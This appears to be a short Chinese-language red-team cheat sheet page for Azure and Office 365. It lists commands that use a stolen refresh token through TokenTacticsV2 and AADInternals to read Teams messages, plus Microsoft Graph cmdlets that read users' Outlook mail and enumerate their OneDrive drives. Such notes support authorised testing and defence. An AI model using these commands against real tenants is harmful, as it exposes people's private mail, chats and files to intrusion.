跳转至

Azure 服务 - Office 365

Microsoft Teams 消息

TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName

Outlook 邮件 (Outlook Mails)

  • 读取用户邮件

    Get-MgUserMessage -UserId <用户 ID> | ft
    Get-MgUserMessageContent -OutFile mail.txt -UserId <用户 ID> -MessageId <消息 ID>
    

OneDrive 文件 (OneDrive Files)

$userId = "<用户 ID>"
Import-Module Microsoft.Graph.Files
Get-MgUserDefaultDrive -UserId $userId
Get-MgUserDrive -UserId $UserId  -Debug
Get-MgDrive -top 1

参考资料 (References)